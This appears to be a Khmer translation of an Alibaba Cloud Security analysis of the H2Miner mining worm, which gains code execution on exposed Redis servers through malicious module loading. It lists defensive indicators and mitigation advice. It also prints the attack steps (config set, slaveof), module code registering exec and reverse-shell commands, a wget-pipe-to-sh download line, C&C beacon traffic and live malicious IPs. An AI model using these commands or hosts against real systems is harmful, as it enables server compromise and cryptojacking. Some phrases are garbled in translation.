ការផ្ទុះថ្មីនៃពពួក Worm H2Miner ត្រូវបានរកឃើញដែលកេងប្រវ័ញ្ច Redis RCE

មួយ​ថ្ងៃ​មុន ម៉ាស៊ីន​បម្រើ​របស់​គម្រោង​របស់​ខ្ញុំ​មួយ​ត្រូវ​បាន​វាយប្រហារ​ដោយ​ដង្កូវ​ស្រដៀង​គ្នា។ ដើម្បីស្វែងរកចម្លើយចំពោះសំណួរ "តើវាជាអ្វី?" ខ្ញុំបានរកឃើញអត្ថបទដ៏អស្ចារ្យមួយដោយក្រុម Alibaba Cloud Security ។ ដោយសារខ្ញុំរកមិនឃើញអត្ថបទនេះនៅលើ Habre ខ្ញុំបានសម្រេចចិត្តបកប្រែវាជាពិសេសសម្រាប់អ្នក <3

ធាតុ

ថ្មីៗនេះ ក្រុមសន្តិសុខរបស់ Alibaba Cloud បានរកឃើញការផ្ទុះឡើងនៃមេរោគ H2Miner ភ្លាមៗ។ ប្រភេទនៃពពួក Worm ព្យាបាទនេះប្រើការខ្វះការអនុញ្ញាត ឬពាក្យសម្ងាត់ខ្សោយសម្រាប់ Redis ជាច្រកផ្លូវទៅកាន់ប្រព័ន្ធរបស់អ្នក បន្ទាប់មកវាធ្វើសមកាលកម្មម៉ូឌុលព្យាបាទផ្ទាល់របស់វាជាមួយ slave តាមរយៈការធ្វើសមកាលកម្មមេ - ទាសករ ហើយទីបំផុតទាញយកម៉ូឌុលព្យាបាទនេះទៅម៉ាស៊ីនដែលបានវាយប្រហារ ហើយដំណើរការព្យាបាទ។ ការណែនាំ។

កាលពីមុន ការវាយប្រហារលើប្រព័ន្ធរបស់អ្នកត្រូវបានអនុវត្តជាចម្បងដោយប្រើវិធីសាស្ត្រដែលពាក់ព័ន្ធនឹងកិច្ចការដែលបានកំណត់ពេល ឬគ្រាប់ចុច SSH ដែលត្រូវបានសរសេរទៅកាន់ម៉ាស៊ីនរបស់អ្នក បន្ទាប់ពីអ្នកវាយប្រហារចូលទៅក្នុង Redis ។ ជាសំណាងល្អ វិធីសាស្ត្រនេះមិនអាចប្រើញឹកញាប់បានទេ ដោយសារបញ្ហាជាមួយការគ្រប់គ្រងការអនុញ្ញាត ឬដោយសារកំណែប្រព័ន្ធផ្សេងៗគ្នា។ ទោះយ៉ាងណាក៏ដោយ វិធីសាស្ត្រនៃការផ្ទុកម៉ូឌុលព្យាបាទនេះអាចប្រតិបត្តិដោយផ្ទាល់នូវពាក្យបញ្ជារបស់អ្នកវាយប្រហារ ឬទទួលបានសិទ្ធិចូលប្រើសែល ដែលជាគ្រោះថ្នាក់សម្រាប់ប្រព័ន្ធរបស់អ្នក។

ដោយសារតែចំនួនដ៏ច្រើននៃម៉ាស៊ីនមេ Redis ដែលបង្ហោះនៅលើអ៊ីនធឺណិត (ជិត 1 លាន) ក្រុមសន្តិសុខរបស់ Alibaba Cloud ជាការរំលឹកដ៏រួសរាយរាក់ទាក់ ណែនាំថាអ្នកប្រើប្រាស់មិនចែករំលែក Redis លើអ៊ីនធឺណិត ហើយពិនិត្យមើលភាពខ្លាំងនៃពាក្យសម្ងាត់របស់ពួកគេឱ្យបានទៀងទាត់ និងថាតើពួកគេត្រូវបានសម្របសម្រួលដែរឬទេ។ ការជ្រើសរើសរហ័ស។

H2 Miner

H2Miner គឺជា botnet ជីកយករ៉ែសម្រាប់ប្រព័ន្ធដែលមានមូលដ្ឋានលើលីនុច ដែលអាចលុកលុយប្រព័ន្ធរបស់អ្នកតាមវិធីជាច្រើន រួមទាំងការខ្វះការអនុញ្ញាតនៅក្នុងភាពងាយរងគ្រោះ Hadoop yarn, Docker និង Redis remote command execution (RCE) ។ botnet ដំណើរការដោយការទាញយកស្គ្រីបព្យាបាទ និងមេរោគ ដើម្បីជីកយកទិន្នន័យរបស់អ្នក ពង្រីកការវាយប្រហារដោយផ្ដេក និងរក្សាទំនាក់ទំនងបញ្ជា និងគ្រប់គ្រង (C&C)។

Redis RCE

ចំណេះដឹងលើប្រធានបទនេះត្រូវបានចែករំលែកដោយ Pavel Toporkov នៅ ZeroNights 2018។ បន្ទាប់ពីកំណែ 4.0 Redis គាំទ្រមុខងារផ្ទុកកម្មវិធីជំនួយដែលផ្តល់ឱ្យអ្នកប្រើប្រាស់នូវសមត្ថភាពក្នុងការផ្ទុក ដូច្នេះឯកសារដែលបានចងក្រងជាមួយ C ទៅក្នុង Redis ដើម្បីប្រតិបត្តិពាក្យបញ្ជា Redis ជាក់លាក់។ មុខងារនេះ ទោះបីមានប្រយោជន៍ក៏ដោយ ប៉ុន្តែមានចំណុចងាយរងគ្រោះ ដែលនៅក្នុងរបៀបមេ ឯកសារអាចត្រូវបានធ្វើសមកាលកម្មជាមួយ slave តាមរយៈរបៀប fullresync ។ វាអាចត្រូវបានប្រើដោយអ្នកវាយប្រហារដើម្បីផ្ទេរឯកសារដែលមានគំនិតអាក្រក់។ បន្ទាប់​ពី​ការ​ផ្ទេរ​ត្រូវ​បាន​បញ្ចប់ អ្នក​វាយ​ប្រហារ​ផ្ទុក​ម៉ូឌុល​ទៅ​លើ​វត្ថុ Redis ដែល​បាន​វាយ​ប្រហារ ហើយ​ប្រតិបត្តិ​ពាក្យ​បញ្ជា​ណាមួយ។

ការវិភាគមេរោគមេរោគ

ថ្មីៗនេះ ក្រុមសន្តិសុខ Alibaba Cloud បានរកឃើញថា ទំហំនៃក្រុមអ្នករុករករ៉ែដែលមានមេរោគ H2Miner បានកើនឡើងយ៉ាងខ្លាំងភ្លាមៗ។ យោងតាមការវិភាគ ដំណើរការទូទៅនៃការកើតឡើងនៃការវាយប្រហារមានដូចខាងក្រោម៖

H2Miner ប្រើ RCE Redis សម្រាប់ការវាយប្រហារពេញលេញ។ អ្នកវាយប្រហារដំបូងវាយប្រហារទៅលើម៉ាស៊ីនមេ Redis ដែលមិនបានការពារ ឬម៉ាស៊ីនមេដែលមានពាក្យសម្ងាត់ខ្សោយ។

បន្ទាប់មកពួកគេប្រើពាក្យបញ្ជា config set dbfilename red2.so ដើម្បីផ្លាស់ប្តូរឈ្មោះឯកសារ។ បន្ទាប់ពីនេះ អ្នកវាយប្រហារប្រតិបត្តិពាក្យបញ្ជា slaveof ដើម្បីកំណត់អាសយដ្ឋានម៉ាស៊ីនចម្លង master-slave ។

នៅពេលអ្នកវាយប្រហារ Redis instance បង្កើតការភ្ជាប់ master-slave ជាមួយ Redis ព្យាបាទ ដែលជាកម្មសិទ្ធិរបស់អ្នកវាយប្រហារ អ្នកវាយប្រហារបញ្ជូនម៉ូឌុលមេរោគដោយប្រើពាក្យបញ្ជា fullresync ដើម្បីធ្វើសមកាលកម្មឯកសារ។ បន្ទាប់មកឯកសារ red2.so នឹងត្រូវបានទាញយកទៅកាន់ម៉ាស៊ីនដែលបានវាយប្រហារ។ បន្ទាប់មកអ្នកវាយប្រហារប្រើ ./red2.so loading module ដើម្បីផ្ទុកឯកសារដូច្នេះ។ ម៉ូឌុលអាចប្រតិបត្តិពាក្យបញ្ជាពីអ្នកវាយប្រហារ ឬផ្តួចផ្តើមការតភ្ជាប់បញ្ច្រាស (backdoor) ដើម្បីទទួលបានការចូលទៅកាន់ម៉ាស៊ីនដែលបានវាយប្រហារ។

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

បន្ទាប់ពីប្រតិបត្តិពាក្យបញ្ជាព្យាបាទដូចជា / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1អ្នកវាយប្រហារនឹងកំណត់ឈ្មោះឯកសារបម្រុងទុកឡើងវិញ ហើយលែងផ្ទុកម៉ូឌុលប្រព័ន្ធ ដើម្បីសម្អាតដាន។ ទោះយ៉ាងណាក៏ដោយ ឯកសារ red2.so នឹងនៅតែមាននៅលើម៉ាស៊ីនដែលត្រូវបានវាយប្រហារ។ អ្នក​ប្រើ​ត្រូវ​បាន​ណែនាំ​ឱ្យ​យក​ចិត្ត​ទុក​ដាក់​ចំពោះ​វត្តមាន​នៃ​ឯកសារ​គួរ​ឱ្យ​សង្ស័យ​បែប​នេះ​នៅ​ក្នុង​ថត​នៃ​ឧទាហរណ៍ Redis របស់​ពួក​គេ​។

បន្ថែមពីលើការសម្លាប់ដំណើរការព្យាបាទមួយចំនួនដើម្បីលួចធនធាន អ្នកវាយប្រហារបានធ្វើតាមស្គ្រីបព្យាបាទដោយការទាញយក និងដំណើរការឯកសារគោលពីរព្យាបាទទៅកាន់ ១៤២.៤៤.១៩១.១២២/ញាតិវង្ស. នេះមានន័យថាឈ្មោះដំណើរការ ឬឈ្មោះថតដែលមាន kinsing នៅលើម៉ាស៊ីនអាចបង្ហាញថាម៉ាស៊ីននោះបានឆ្លងមេរោគនេះ។

យោងតាមលទ្ធផលវិស្វកម្មបញ្ច្រាស មេរោគដំណើរការជាចម្បងនូវមុខងារដូចខាងក្រោម៖

• ផ្ទុកឡើងឯកសារ និងដំណើរការពួកវា
• រ៉ែ
• ការរក្សាទំនាក់ទំនង C&C និងប្រតិបត្តិពាក្យបញ្ជាអ្នកវាយប្រហារ

ប្រើម៉ាស់ស្កែនសម្រាប់ការស្កេនខាងក្រៅដើម្បីពង្រីកឥទ្ធិពលរបស់អ្នក។ លើសពីនេះទៀត អាសយដ្ឋាន IP របស់ម៉ាស៊ីនមេ C&C ត្រូវបានសរសេរកូដរឹងនៅក្នុងកម្មវិធី ហើយម៉ាស៊ីនដែលត្រូវបានវាយប្រហារនឹងទាក់ទងជាមួយម៉ាស៊ីនមេទំនាក់ទំនង C&C ដោយប្រើសំណើ HTTP ដែលព័ត៌មានខ្មោចឆៅ (ម៉ាស៊ីនមេដែលត្រូវបានសម្របសម្រួល) ត្រូវបានកំណត់អត្តសញ្ញាណនៅក្នុងបឋមកថា HTTP ។

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

វិធីសាស្រ្តវាយប្រហារផ្សេងទៀត។

អាសយដ្ឋាន និងតំណភ្ជាប់ដែលប្រើដោយដង្កូវ

/ សាច់ញាតិ

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

ស&គ

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

ព័ត៌មានជំនួយ

ដំបូង Redis មិនគួរអាចចូលប្រើបានពីអ៊ីនធឺណិតទេ ហើយគួរតែត្រូវបានការពារដោយពាក្យសម្ងាត់ខ្លាំង។ វាក៏សំខាន់ផងដែរដែលអតិថិជនពិនិត្យមើលថាមិនមានឯកសារ red2.so នៅក្នុងថត Redis ហើយថាមិនមាន "kinsing" នៅក្នុងឈ្មោះឯកសារ / ដំណើរការនៅលើម៉ាស៊ីននោះទេ។

ប្រភព: www.habr.com